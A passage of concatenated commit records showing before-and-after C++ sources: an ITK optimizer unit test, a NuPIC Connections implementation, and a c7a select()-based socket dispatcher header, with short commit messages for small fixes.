\" ;\n std::cout << x << \" \";\n std::cout << y << \") = \";\n\n derivative = DerivativeType( SpaceDimension ); \n derivative[0] = 3 * x + 2 * y -2;\n derivative[1] = 2 * x + 6 * y +8;\n\n }\n\n \n unsigned int GetNumberOfParameters(void) const\n {\n return SpaceDimension;\n }\n\n\n\nprivate:\n\n\n};\n\n\n\nint itkRegularStepGradientDescentOptimizerTest(int, char* [] ) \n{\n std::cout << \"RegularStepGradientDescentOptimizer Test \";\n std::cout << std::endl << std::endl;\n\n typedef itk::RegularStepGradientDescentOptimizer OptimizerType;\n\n typedef OptimizerType::ScalesType ScalesType;\n \n \n \/\/ Declaration of a itkOptimizer\n OptimizerType::Pointer itkOptimizer = OptimizerType::New();\n\n\n \/\/ Declaration of the CostFunction \n RSGCostFunction::Pointer costFunction = RSGCostFunction::New();\n\n\n itkOptimizer->SetCostFunction( costFunction.GetPointer() );\n\n \n typedef RSGCostFunction::ParametersType ParametersType;\n\n\n const unsigned int spaceDimension = \n costFunction->GetNumberOfParameters();\n\n \/\/ We start not so far from | 2 -2 |\n ParametersType initialPosition( spaceDimension );\n initialPosition[0] = 100;\n initialPosition[1] = -100;\n \n ScalesType parametersScale( spaceDimension );\n parametersScale[0] = 1.0;\n parametersScale[1] = 1.0;\n\n itkOptimizer->MinimizeOn();\n itkOptimizer->SetScales( parametersScale );\n itkOptimizer->SetGradientMagnitudeTolerance( 1e-6 );\n itkOptimizer->SetMaximumStepLength( 30.0 );\n itkOptimizer->SetMinimumStepLength( 1e-6 );\n itkOptimizer->SetNumberOfIterations( 900 );\n\n itkOptimizer->SetInitialPosition( initialPosition );\n\n try \n {\n itkOptimizer->StartOptimization();\n }\n catch( itk::ExceptionObject & e )\n {\n std::cout << \"Exception thrown ! \" << std::endl;\n std::cout << \"An error ocurred during Optimization\" << std::endl;\n std::cout << \"Location = \" << e.GetLocation() << std::endl;\n std::cout << \"Description = \" << e.GetDescription() << std::endl;\n return EXIT_FAILURE;\n }\n\n\n ParametersType finalPosition = itkOptimizer->GetCurrentPosition();\n std::cout << \"Solution = (\";\n std::cout << finalPosition[0] << \",\" ;\n std::cout << finalPosition[1] << \")\" << std::endl; \n\n \/\/\n \/\/ check results to see if it is within range\n \/\/\n bool pass = true;\n double trueParameters[2] = { 2, -2 };\n for( unsigned int j = 0; j < 2; j++ )\n {\n if( vnl_math_abs( finalPosition[j] - trueParameters[j] ) > 0.01 )\n {\n pass = false;\n }\n }\n\n if( !pass )\n {\n std::cout << \"Test failed.\" << std::endl;\n return EXIT_FAILURE;\n }\n\n\n \/\/ Run now with a different relaxation factor\n \n {\n itkOptimizer->SetInitialPosition( initialPosition );\n\n itkOptimizer->SetRelaxationFactor( 0.8 );\n try \n {\n itkOptimizer->StartOptimization();\n }\n catch( itk::ExceptionObject & e )\n {\n std::cout << \"Exception thrown ! \" << std::endl;\n std::cout << \"An error ocurred during Optimization\" << std::endl;\n std::cout << \"Location = \" << e.GetLocation() << std::endl;\n std::cout << \"Description = \" << e.GetDescription() << std::endl;\n return EXIT_FAILURE;\n }\n\n finalPosition = itkOptimizer->GetCurrentPosition();\n std::cout << \"Solution = (\";\n std::cout << finalPosition[0] << \",\" ;\n std::cout << finalPosition[1] << \")\" << std::endl; \n\n \/\/\n \/\/ check results to see if it is within range\n \/\/\n pass = true;\n for( unsigned int j = 0; j < 2; j++ )\n {\n if( vnl_math_abs( finalPosition[j] - trueParameters[j] ) > 0.01 )\n {\n pass = false;\n }\n }\n\n if( !pass )\n {\n std::cout << \"Test failed.\" << std::endl;\n return EXIT_FAILURE;\n }\n\n }\n\n \/\/\n \/\/ Verify that the optimizer doesn't run if the \n \/\/ number of iterations is set to zero.\n \/\/\n {\n itkOptimizer->SetNumberOfIterations( 0 );\n itkOptimizer->SetInitialPosition( initialPosition );\n\n try \n {\n itkOptimizer->StartOptimization();\n }\n catch( itk::ExceptionObject & excp )\n {\n std::cout << excp << std::endl;\n return EXIT_FAILURE;\n }\n\n if( itkOptimizer->GetCurrentIteration() > 0 )\n {\n std::cerr << \"The optimizer is running iterations despite of \";\n std::cerr << \"having a maximum number of iterations set to zero\" << std::endl;\n return EXIT_FAILURE;\n }\n }\n\n std::cout << \"Test passed.\" << std::endl;\n return EXIT_SUCCESS;\n\n\n}\n\n\n\n<commit_msg>BUG: 4893. Verifying that an exception is thrown from StartOptimization() when the GradientMagnitudeTolerance value has been set to a negative number.<commit_after>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: itkRegularStepGradientDescentOptimizerTest.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) Insight Software Consortium. All rights reserved.\n See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#if defined(_MSC_VER)\n#pragma warning ( disable : 4786 )\n#endif\n\n#include <itkRegularStepGradientDescentOptimizer.h>\n#include <vnl\/vnl_math.h>\n\n\/** \n * The objectif function is the quadratic form:\n *\n * 1\/2 x^T A x - b^T x\n *\n * Where A is a matrix and b is a vector\n * The system in this example is:\n *\n * | 3 2 ||x| | 2| |0|\n * | 2 6 ||y| + |-8| = |0|\n *\n *\n * the solution is the vector | 2 -2 |\n *\n *\/ \nclass RSGCostFunction : public itk::SingleValuedCostFunction \n{\npublic:\n\n typedef RSGCostFunction Self;\n typedef itk::SingleValuedCostFunction Superclass;\n typedef itk::SmartPointer<Self> Pointer;\n typedef itk::SmartPointer<const Self> ConstPointer;\n itkNewMacro( Self );\n\n enum { SpaceDimension=2 };\n \n typedef Superclass::ParametersType ParametersType;\n typedef Superclass::DerivativeType DerivativeType;\n typedef Superclass::MeasureType MeasureType ;\n\n\n RSGCostFunction() \n {\n }\n\n\n MeasureType GetValue( const ParametersType & parameters ) const\n { \n \n double x = parameters[0];\n double y = parameters[1];\n\n std::cout << \"GetValue( \" ;\n std::cout << x << \" \";\n std::cout << y << \") = \";\n\n MeasureType measure = 0.5*(3*x*x+4*x*y+6*y*y) - 2*x + 8*y;\n\n std::cout << measure << std::endl; \n return measure;\n\n }\n\n void GetDerivative( const ParametersType & parameters,\n DerivativeType & derivative ) const\n {\n\n double x = parameters[0];\n double y = parameters[1];\n\n std::cout << \"GetDerivative( \" ;\n std::cout << x << \" \";\n std::cout << y << \") = \";\n\n derivative = DerivativeType( SpaceDimension ); \n derivative[0] = 3 * x + 2 * y -2;\n derivative[1] = 2 * x + 6 * y +8;\n\n }\n\n \n unsigned int GetNumberOfParameters(void) const\n {\n return SpaceDimension;\n }\n\n\n\nprivate:\n\n\n};\n\n\n\nint itkRegularStepGradientDescentOptimizerTest(int, char* [] ) \n{\n std::cout << \"RegularStepGradientDescentOptimizer Test \";\n std::cout << std::endl << std::endl;\n\n typedef itk::RegularStepGradientDescentOptimizer OptimizerType;\n\n typedef OptimizerType::ScalesType ScalesType;\n \n \n \/\/ Declaration of a itkOptimizer\n OptimizerType::Pointer itkOptimizer = OptimizerType::New();\n\n\n \/\/ Declaration of the CostFunction \n RSGCostFunction::Pointer costFunction = RSGCostFunction::New();\n\n\n itkOptimizer->SetCostFunction( costFunction.GetPointer() );\n\n \n typedef RSGCostFunction::ParametersType ParametersType;\n\n\n const unsigned int spaceDimension = \n costFunction->GetNumberOfParameters();\n\n \/\/ We start not so far from | 2 -2 |\n ParametersType initialPosition( spaceDimension );\n initialPosition[0] = 100;\n initialPosition[1] = -100;\n \n ScalesType parametersScale( spaceDimension );\n parametersScale[0] = 1.0;\n parametersScale[1] = 1.0;\n\n itkOptimizer->MinimizeOn();\n itkOptimizer->SetScales( parametersScale );\n itkOptimizer->SetGradientMagnitudeTolerance( 1e-6 );\n itkOptimizer->SetMaximumStepLength( 30.0 );\n itkOptimizer->SetMinimumStepLength( 1e-6 );\n itkOptimizer->SetNumberOfIterations( 900 );\n\n itkOptimizer->SetInitialPosition( initialPosition );\n\n try \n {\n itkOptimizer->StartOptimization();\n }\n catch( itk::ExceptionObject & e )\n {\n std::cout << \"Exception thrown ! \" << std::endl;\n std::cout << \"An error ocurred during Optimization\" << std::endl;\n std::cout << \"Location = \" << e.GetLocation() << std::endl;\n std::cout << \"Description = \" << e.GetDescription() << std::endl;\n return EXIT_FAILURE;\n }\n\n\n ParametersType finalPosition = itkOptimizer->GetCurrentPosition();\n std::cout << \"Solution = (\";\n std::cout << finalPosition[0] << \",\" ;\n std::cout << finalPosition[1] << \")\" << std::endl; \n\n \/\/\n \/\/ check results to see if it is within range\n \/\/\n bool pass = true;\n double trueParameters[2] = { 2, -2 };\n for( unsigned int j = 0; j < 2; j++ )\n {\n if( vnl_math_abs( finalPosition[j] - trueParameters[j] ) > 0.01 )\n {\n pass = false;\n }\n }\n\n if( !pass )\n {\n std::cout << \"Test failed.\" << std::endl;\n return EXIT_FAILURE;\n }\n\n\n \/\/ Run now with a different relaxation factor\n \n {\n itkOptimizer->SetInitialPosition( initialPosition );\n\n itkOptimizer->SetRelaxationFactor( 0.8 );\n try \n {\n itkOptimizer->StartOptimization();\n }\n catch( itk::ExceptionObject & e )\n {\n std::cout << \"Exception thrown ! \" << std::endl;\n std::cout << \"An error ocurred during Optimization\" << std::endl;\n std::cout << \"Location = \" << e.GetLocation() << std::endl;\n std::cout << \"Description = \" << e.GetDescription() << std::endl;\n return EXIT_FAILURE;\n }\n\n finalPosition = itkOptimizer->GetCurrentPosition();\n std::cout << \"Solution = (\";\n std::cout << finalPosition[0] << \",\" ;\n std::cout << finalPosition[1] << \")\" << std::endl; \n\n \/\/\n \/\/ check results to see if it is within range\n \/\/\n pass = true;\n for( unsigned int j = 0; j < 2; j++ )\n {\n if( vnl_math_abs( finalPosition[j] - trueParameters[j] ) > 0.01 )\n {\n pass = false;\n }\n }\n\n if( !pass )\n {\n std::cout << \"Test failed.\" << std::endl;\n return EXIT_FAILURE;\n }\n\n }\n\n \/\/\n \/\/ Verify that the optimizer doesn't run if the \n \/\/ number of iterations is set to zero.\n \/\/\n {\n itkOptimizer->SetNumberOfIterations( 0 );\n itkOptimizer->SetInitialPosition( initialPosition );\n\n try \n {\n itkOptimizer->StartOptimization();\n }\n catch( itk::ExceptionObject & excp )\n {\n std::cout << excp << std::endl;\n return EXIT_FAILURE;\n }\n\n if( itkOptimizer->GetCurrentIteration() > 0 )\n {\n std::cerr << \"The optimizer is running iterations despite of \";\n std::cerr << \"having a maximum number of iterations set to zero\" << std::endl;\n return EXIT_FAILURE;\n }\n }\n\n \/\/\n \/\/ Test the Exception if the GradientMagnitudeTolerance is set to a negative value\n \/\/\n itkOptimizer->SetGradientMagnitudeTolerance( -1.0 );\n bool expectedExceptionReceived = false;\n try \n {\n itkOptimizer->StartOptimization();\n }\n catch( itk::ExceptionObject & excp )\n {\n expectedExceptionReceived = true;\n std::cout << \"Expected Exception \" << std::endl;\n std::cout << excp << std::endl;\n }\n\n if( !expectedExceptionReceived )\n {\n std::cerr << \"Failure to produce an exception when\";\n std::cerr << \"the GradientMagnitudeTolerance is negative \" << std::endl;\n std::cerr << \"TEST FAILED !\" << std::endl;\n return EXIT_FAILURE;\n }\n\n std::cout << \"TEST PASSED !\" << std::endl;\n return EXIT_SUCCESS;\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/* ---------------------------------------------------------------------\n * Numenta Platform for Intelligent Computing (NuPIC)\n * Copyright (C) 2014, Numenta, Inc. Unless you have an agreement\n * with Numenta, Inc., for a separate license for this software code, the\n * following terms and conditions apply:\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 3 as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * See the GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see http:\/\/www.gnu.org\/licenses.\n *\n * http:\/\/numenta.org\/licenses\/\n * ----------------------------------------------------------------------\n *\/\n\n\/** @file\n * Implementation of Connections\n *\/\n\n#include <iostream>\n#include <nta\/algorithms\/Connections.hpp>\n\nusing namespace std;\nusing namespace nta;\nusing namespace nta::algorithms::connections;\n\nConnections::Connections(CellIdx numCells) : cells_(numCells)\n{\n}\n\nSegment Connections::createSegment(const Cell& cell)\n{\n vector<SegmentData>& segments = cells_[cell.idx].segments;\n Segment segment = {segments.size(), cell};\n\n SegmentData segmentData;\n segments.push_back(segmentData);\n\n return segment;\n}\n\nSynapse Connections::createSynapse(const Segment& segment,\n const Cell& presynapticCell,\n Permanence permanence)\n{\n const Cell& cell = segment.cell;\n\n vector<SynapseData>& synapses = cells_[cell.idx].segments[segment.idx].synapses;\n Synapse synapse = {synapses.size(), segment};\n\n SynapseData synapseData = {presynapticCell, permanence};\n synapses.push_back(synapseData);\n\n return synapse;\n}\n\nvoid Connections::updateSynapsePermanence(const Synapse& synapse,\n Permanence permanence)\n{\n const Segment& segment = synapse.segment;\n const Cell& cell = segment.cell;\n\n cells_[cell.idx].segments[segment.idx].synapses[synapse.idx].permanence = permanence;\n}\n\nvector<Segment> Connections::getSegmentsForCell(const Cell& cell)\n{\n vector<Segment> segments;\n Segment segment;\n\n for(SegmentIdx i = 0; i < cells_[cell.idx].segments.size(); i++) {\n segment.idx = i;\n segment.cell = cell;\n segments.push_back(segment);\n }\n\n return segments;\n}\n\nvector<Synapse> Connections::getSynapsesForSegment(const Segment& segment)\n{\n const Cell& cell = segment.cell;\n vector<Synapse> synapses;\n Synapse synapse;\n\n for(SynapseIdx i = 0; i < cells_[cell.idx].segments[segment.idx].synapses.size(); i++) {\n synapse.idx = i;\n synapse.segment = segment;\n synapses.push_back(synapse);\n }\n\n return synapses;\n}\n\nSynapseData Connections::getDataForSynapse(const Synapse& synapse) const\n{\n const Segment& segment = synapse.segment;\n const Cell& cell = segment.cell;\n\n return cells_[cell.idx].segments[segment.idx].synapses[synapse.idx];\n}\n\nbool Connections::getMostActiveSegmentForCells(const std::vector<Cell>& cells,\n const std::vector<Cell>& input,\n UInt synapseThreshold,\n Segment& segment) const\n{\n return false;\n}\n\nActivity Connections::computeActivity(const std::vector<Cell>& input,\n Permanence permanenceThreshold,\n UInt synapseThreshold) const\n{\n Activity activity;\n \/\/ vector<Synapse> synapses;\n \/\/ SynapseData synapseData;\n \/\/ Synapse synapse;\n\n \/\/ for (vector<Cell>::const_iterator c = input.begin(); c != input.end(); c++) {\n \/\/ synapses = synapsesForPresynapticCell_[*c];\n\n \/\/ for (vector<Synapse>::const_iterator s = synapses.begin(); s != synapses.end(); s++) {\n \/\/ synapseData = getDataForSynapse(*s);\n\n \/\/ if (synapseData.permanence >= permanenceThreshold) {\n \/\/ activity.numActiveSynapsesForSegment[synapse.segment] += 1;\n \/\/ }\n\n \/\/ if (activity.numActiveSynapsesForSegment[synapse.segment]) {\n \/\/ activity.numActiveSegmentsForCell[*c] += 1;\n \/\/ }\n \/\/ }\n \/\/ }\n\n return activity;\n}\n<commit_msg>Added sample code for getMostActiveSegmentForCells<commit_after>\/* ---------------------------------------------------------------------\n * Numenta Platform for Intelligent Computing (NuPIC)\n * Copyright (C) 2014, Numenta, Inc. Unless you have an agreement\n * with Numenta, Inc., for a separate license for this software code, the\n * following terms and conditions apply:\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 3 as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * See the GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see http:\/\/www.gnu.org\/licenses.\n *\n * http:\/\/numenta.org\/licenses\/\n * ----------------------------------------------------------------------\n *\/\n\n\/** @file\n * Implementation of Connections\n *\/\n\n#include <iostream>\n#include <nta\/algorithms\/Connections.hpp>\n\nusing namespace std;\nusing namespace nta;\nusing namespace nta::algorithms::connections;\n\nConnections::Connections(CellIdx numCells) : cells_(numCells)\n{\n}\n\nSegment Connections::createSegment(const Cell& cell)\n{\n vector<SegmentData>& segments = cells_[cell.idx].segments;\n Segment segment = {segments.size(), cell};\n\n SegmentData segmentData;\n segments.push_back(segmentData);\n\n return segment;\n}\n\nSynapse Connections::createSynapse(const Segment& segment,\n const Cell& presynapticCell,\n Permanence permanence)\n{\n const Cell& cell = segment.cell;\n\n vector<SynapseData>& synapses = cells_[cell.idx].segments[segment.idx].synapses;\n Synapse synapse = {synapses.size(), segment};\n\n SynapseData synapseData = {presynapticCell, permanence};\n synapses.push_back(synapseData);\n\n return synapse;\n}\n\nvoid Connections::updateSynapsePermanence(const Synapse& synapse,\n Permanence permanence)\n{\n const Segment& segment = synapse.segment;\n const Cell& cell = segment.cell;\n\n cells_[cell.idx].segments[segment.idx].synapses[synapse.idx].permanence = permanence;\n}\n\nvector<Segment> Connections::getSegmentsForCell(const Cell& cell)\n{\n vector<Segment> segments;\n Segment segment;\n\n for(SegmentIdx i = 0; i < cells_[cell.idx].segments.size(); i++) {\n segment.idx = i;\n segment.cell = cell;\n segments.push_back(segment);\n }\n\n return segments;\n}\n\nvector<Synapse> Connections::getSynapsesForSegment(const Segment& segment)\n{\n const Cell& cell = segment.cell;\n vector<Synapse> synapses;\n Synapse synapse;\n\n for(SynapseIdx i = 0; i < cells_[cell.idx].segments[segment.idx].synapses.size(); i++) {\n synapse.idx = i;\n synapse.segment = segment;\n synapses.push_back(synapse);\n }\n\n return synapses;\n}\n\nSynapseData Connections::getDataForSynapse(const Synapse& synapse) const\n{\n const Segment& segment = synapse.segment;\n const Cell& cell = segment.cell;\n\n return cells_[cell.idx].segments[segment.idx].synapses[synapse.idx];\n}\n\nbool Connections::getMostActiveSegmentForCells(const std::vector<Cell>& cells,\n const std::vector<Cell>& input,\n UInt synapseThreshold,\n Segment& segment) const\n{\n \/\/ UInt numSynapses, maxSynapses = synapseThreshold;\n \/\/ vector<SegmentData> segments;\n \/\/ vector<SynapseData> synapses;\n bool found = false;\n\n \/\/ for (vector<Cell>::const_iterator c = cells.begin(); c != cells.end(); c++) {\n \/\/ segments = cells_[c->idx].segments;\n\n \/\/ for (vector<SegmentData>::const_iterator s = segments.begin(); s != segments.end(); s++) {\n \/\/ synapses = s->synapses;\n \/\/ numSynapses = 0;\n\n \/\/ for (vector<SynapseData>::const_iterator syn = synapses.begin(); syn != synapses.end(); syn++) {\n \/\/ if (find(input.begin(), input.end(), syn->presynapticCell) != input.end()) { \/\/ TODO: Optimize this\n \/\/ numSynapses++;\n \/\/ }\n \/\/ }\n\n \/\/ if (numSynapses >= maxSynapses) {\n \/\/ maxSynapses = numSynapses;\n \/\/ segment.idx = s - segments.begin();\n \/\/ segment.cell = *c;\n \/\/ found = true;\n \/\/ }\n \/\/ }\n \/\/ }\n\n return found;\n}\n\nActivity Connections::computeActivity(const std::vector<Cell>& input,\n Permanence permanenceThreshold,\n UInt synapseThreshold) const\n{\n Activity activity;\n \/\/ vector<Synapse> synapses;\n \/\/ SynapseData synapseData;\n \/\/ Synapse synapse;\n\n \/\/ for (vector<Cell>::const_iterator c = input.begin(); c != input.end(); c++) {\n \/\/ synapses = synapsesForPresynapticCell_[*c];\n\n \/\/ for (vector<Synapse>::const_iterator s = synapses.begin(); s != synapses.end(); s++) {\n \/\/ synapseData = getDataForSynapse(*s);\n\n \/\/ if (synapseData.permanence >= permanenceThreshold) {\n \/\/ activity.numActiveSynapsesForSegment[synapse.segment] += 1;\n \/\/ }\n\n \/\/ if (activity.numActiveSynapsesForSegment[synapse.segment]) {\n \/\/ activity.numActiveSegmentsForCell[*c] += 1;\n \/\/ }\n \/\/ }\n \/\/ }\n\n return activity;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*******************************************************************************\n * c7a\/net\/select-dispatcher.hpp\n *\n * Asynchronous callback wrapper around select()\n *\n * Part of Project c7a.\n *\n * Copyright (C) 2015 Timo Bingmann <tb@panthema.net>\n *\n * This file has no license. Only Chuck Norris can compile it.\n ******************************************************************************\/\n\n#ifndef C7A_NET_SELECT_DISPATCHER_HEADER\n#define C7A_NET_SELECT_DISPATCHER_HEADER\n\n#include <c7a\/net\/socket.hpp>\n#include <c7a\/net\/select.hpp>\n\n#include <deque>\n\nnamespace c7a {\n\n\/\/! \\addtogroup netsock Low Level Socket API\n\/\/! \\{\n\n\/**\n * SelectDispatcher is a higher level wrapper for select(). One can register\n * Socket objects for readability and writability checks, buffered reads and\n * writes with completion callbacks, and also timer functions.\n *\/\nclass SelectDispatcher : protected Select\n{\n static const bool debug = false;\n\npublic:\n typedef std::function<bool (Socket&)> Callback;\n\n \/\/! Register a buffered read callback and a default exception callback.\n void AddRead(Socket& s, const Callback& read_cb)\n {\n Select::SetRead(s.GetFileDescriptor());\n Select::SetException(s.GetFileDescriptor());\n watch_.emplace_back(s.GetFileDescriptor(), s,\n read_cb, nullptr, ExceptionCallback);\n }\n\n \/\/! Register a buffered write callback and a default exception callback.\n void AddWrite(Socket& s, const Callback& write_cb)\n {\n Select::SetWrite(s.GetFileDescriptor());\n Select::SetException(s.GetFileDescriptor());\n watch_.emplace_back(s.GetFileDescriptor(), s,\n nullptr, write_cb, ExceptionCallback);\n }\n\n \/\/! Register a buffered write callback and a default exception callback.\n void AddReadWrite(Socket& s,\n const Callback& read_cb, const Callback& write_cb)\n {\n Select::SetRead(s.GetFileDescriptor());\n Select::SetWrite(s.GetFileDescriptor());\n Select::SetException(s.GetFileDescriptor());\n watch_.emplace_back(s.GetFileDescriptor(), s,\n read_cb, write_cb, ExceptionCallback);\n }\n\n void Dispatch(double timeout)\n {\n \/\/ copy select fdset\n Select fdset = *this;\n\n if (debug)\n {\n std::ostringstream oss;\n for (Watch& w : watch_) {\n oss << w.fd << \" \";\n }\n oss << \"| \";\n for (int i = 0; i < Select::max_fd_ + 1; ++i) {\n if (Select::InRead(i))\n oss << \"r\" << i << \" \";\n if (Select::InWrite(i))\n oss << \"w\" << i << \" \";\n if (Select::InException(i))\n oss << \"e\" << i << \" \";\n }\n LOG << \"Performing select() on \" << oss.str();\n }\n\n int r = fdset.select_timeout(timeout);\n\n if (r < 0) {\n throw NetException(\"OpenConnections() select() failed!\", errno);\n }\n if (r == 0) return;\n\n \/\/ save _current_ size, as it may change.\n size_t watch_size = watch_.size();\n\n for (size_t i = 0; i != watch_size; ++i)\n {\n Watch& w = watch_[i];\n\n if (w.fd < 0) continue;\n\n if (fdset.InRead(w.fd))\n {\n if (w.read_cb) {\n \/\/ have to clear the read flag since the callback may add a\n \/\/ new (other) callback for the same fd.\n Select::ClearRead(w.fd);\n Select::ClearException(w.fd);\n\n if (!w.read_cb(w.socket)) {\n \/\/ callback returned false: remove fd from set\n w.fd = -1;\n }\n else {\n Select::SetRead(w.fd);\n Select::SetException(w.fd);\n }\n }\n else {\n LOG << \"SelectDispatcher: got read event for fd \"\n << w.fd << \" without a read handler.\";\n\n Select::ClearRead(w.fd);\n }\n }\n\n if (w.fd < 0) continue;\n\n if (fdset.InWrite(w.fd))\n {\n if (w.write_cb) {\n \/\/ have to clear the read flag since the callback may add a\n \/\/ new (other) callback for the same fd.\n Select::ClearWrite(w.fd);\n Select::ClearException(w.fd);\n\n if (!w.write_cb(w.socket)) {\n \/\/ callback returned false: remove fd from set\n w.fd = -1;\n }\n else {\n Select::SetWrite(w.fd);\n Select::SetException(w.fd);\n }\n }\n else {\n LOG << \"SelectDispatcher: got write event for fd \"\n << w.fd << \" without a write handler.\";\n\n Select::ClearWrite(w.fd);\n }\n }\n\n if (w.fd < 0) continue;\n\n if (fdset.InException(w.fd))\n {\n if (w.except_cb) {\n Select::ClearException(w.fd);\n\n if (!w.except_cb(w.socket)) {\n \/\/ callback returned false: remove fd from set\n w.fd = -1;\n }\n else {\n Select::SetException(w.fd);\n }\n }\n else {\n LOG << \"SelectDispatcher: got exception event for fd \"\n << w.fd << \" without an exception handler.\";\n\n Select::ClearException(w.fd);\n }\n }\n }\n }\n\nprivate:\n \/\/! struct to entries per watched file descriptor\n struct Watch\n {\n int fd;\n Socket socket;\n Callback read_cb, write_cb, except_cb;\n\n Watch(int _fd, Socket& _socket,\n const Callback& _read_cb, const Callback& _write_cb,\n const Callback& _except_cb)\n : fd(_fd),\n socket(_socket),\n read_cb(_read_cb),\n write_cb(_write_cb),\n except_cb(_except_cb)\n { }\n };\n\n \/\/! handlers for all registered file descriptors, we have to keep them\n \/\/! address local.\n std::deque<Watch> watch_;\n\n \/\/! Default exception handler\n static bool ExceptionCallback(Socket& s)\n {\n \/\/ exception on listen socket ?\n throw NetException(\"SelectDispatcher() exception on socket fd \"\n + std::to_string(s.GetFileDescriptor()) + \"!\",\n errno);\n }\n};\n\n\/\/! \\}\n\n} \/\/ namespace c7a\n\n#endif \/\/ !C7A_NET_SELECT_DISPATCHER_HEADER\n\n\/******************************************************************************\/\n<commit_msg>#include net-exception<commit_after>\/*******************************************************************************\n * c7a\/net\/select-dispatcher.hpp\n *\n * Asynchronous callback wrapper around select()\n *\n * Part of Project c7a.\n *\n * Copyright (C) 2015 Timo Bingmann <tb@panthema.net>\n *\n * This file has no license. Only Chuck Norris can compile it.\n ******************************************************************************\/\n\n#ifndef C7A_NET_SELECT_DISPATCHER_HEADER\n#define C7A_NET_SELECT_DISPATCHER_HEADER\n\n#include <c7a\/net\/socket.hpp>\n#include <c7a\/net\/select.hpp>\n#include <c7a\/net\/net-exception.hpp>\n\n#include <deque>\n\nnamespace c7a {\n\/\/! \\addtogroup netsock Low Level Socket API\n\/\/! \\{\n\n\/**\n * SelectDispatcher is a higher level wrapper for select(). One can register\n * Socket objects for readability and writability checks, buffered reads and\n * writes with completion callbacks, and also timer functions.\n *\/\nclass SelectDispatcher : protected Select\n{\n static const bool debug = false;\n\npublic:\n typedef std::function<bool (Socket&)> Callback;\n\n \/\/! Register a buffered read callback and a default exception callback.\n void AddRead(Socket& s, const Callback& read_cb)\n {\n Select::SetRead(s.GetFileDescriptor());\n Select::SetException(s.GetFileDescriptor());\n watch_.emplace_back(s.GetFileDescriptor(), s,\n read_cb, nullptr, ExceptionCallback);\n }\n\n \/\/! Register a buffered write callback and a default exception callback.\n void AddWrite(Socket& s, const Callback& write_cb)\n {\n Select::SetWrite(s.GetFileDescriptor());\n Select::SetException(s.GetFileDescriptor());\n watch_.emplace_back(s.GetFileDescriptor(), s,\n nullptr, write_cb, ExceptionCallback);\n }\n\n \/\/! Register a buffered write callback and a default exception callback.\n void AddReadWrite(Socket& s,\n const Callback& read_cb, const Callback& write_cb)\n {\n Select::SetRead(s.GetFileDescriptor());\n Select::SetWrite(s.GetFileDescriptor());\n Select::SetException(s.GetFileDescriptor());\n watch_.emplace_back(s.GetFileDescriptor(), s,\n read_cb, write_cb, ExceptionCallback);\n }\n\n void Dispatch(double timeout)\n {\n \/\/ copy select fdset\n Select fdset = *this;\n\n if (debug)\n {\n std::ostringstream oss;\n for (Watch& w : watch_) {\n oss << w.fd << \" \";\n }\n oss << \"| \";\n for (int i = 0; i < Select::max_fd_ + 1; ++i) {\n if (Select::InRead(i))\n oss << \"r\" << i << \" \";\n if (Select::InWrite(i))\n oss << \"w\" << i << \" \";\n if (Select::InException(i))\n oss << \"e\" << i << \" \";\n }\n LOG << \"Performing select() on \" << oss.str();\n }\n\n int r = fdset.select_timeout(timeout);\n\n if (r < 0) {\n throw NetException(\"OpenConnections() select() failed!\", errno);\n }\n if (r == 0) return;\n\n \/\/ save _current_ size, as it may change.\n size_t watch_size = watch_.size();\n\n for (size_t i = 0; i != watch_size; ++i)\n {\n Watch& w = watch_[i];\n\n if (w.fd < 0) continue;\n\n if (fdset.InRead(w.fd))\n {\n if (w.read_cb) {\n \/\/ have to clear the read flag since the callback may add a\n \/\/ new (other) callback for the same fd.\n Select::ClearRead(w.fd);\n Select::ClearException(w.fd);\n\n if (!w.read_cb(w.socket)) {\n \/\/ callback returned false: remove fd from set\n w.fd = -1;\n }\n else {\n Select::SetRead(w.fd);\n Select::SetException(w.fd);\n }\n }\n else {\n LOG << \"SelectDispatcher: got read event for fd \"\n << w.fd << \" without a read handler.\";\n\n Select::ClearRead(w.fd);\n }\n }\n\n if (w.fd < 0) continue;\n\n if (fdset.InWrite(w.fd))\n {\n if (w.write_cb) {\n \/\/ have to clear the read flag since the callback may add a\n \/\/ new (other) callback for the same fd.\n Select::ClearWrite(w.fd);\n Select::ClearException(w.fd);\n\n if (!w.write_cb(w.socket)) {\n \/\/ callback returned false: remove fd from set\n w.fd = -1;\n }\n else {\n Select::SetWrite(w.fd);\n Select::SetException(w.fd);\n }\n }\n else {\n LOG << \"SelectDispatcher: got write event for fd \"\n << w.fd << \" without a write handler.\";\n\n Select::ClearWrite(w.fd);\n }\n }\n\n if (w.fd < 0) continue;\n\n if (fdset.InException(w.fd))\n {\n if (w.except_cb) {\n Select::ClearException(w.fd);\n\n if (!w.except_cb(w.socket)) {\n \/\/ callback returned false: remove fd from set\n w.fd = -1;\n }\n else {\n Select::SetException(w.fd);\n }\n }\n else {\n LOG << \"SelectDispatcher: got exception event for fd \"\n << w.fd << \" without an exception handler.\";\n\n Select::ClearException(w.fd);\n }\n }\n }\n }\n\nprivate:\n \/\/! struct to entries per watched file descriptor\n struct Watch\n {\n int fd;\n Socket socket;\n Callback read_cb, write_cb, except_cb;\n\n Watch(int _fd, Socket& _socket,\n const Callback& _read_cb, const Callback& _write_cb,\n const Callback& _except_cb)\n : fd(_fd),\n socket(_socket),\n read_cb(_read_cb),\n write_cb(_write_cb),\n except_cb(_except_cb)\n { 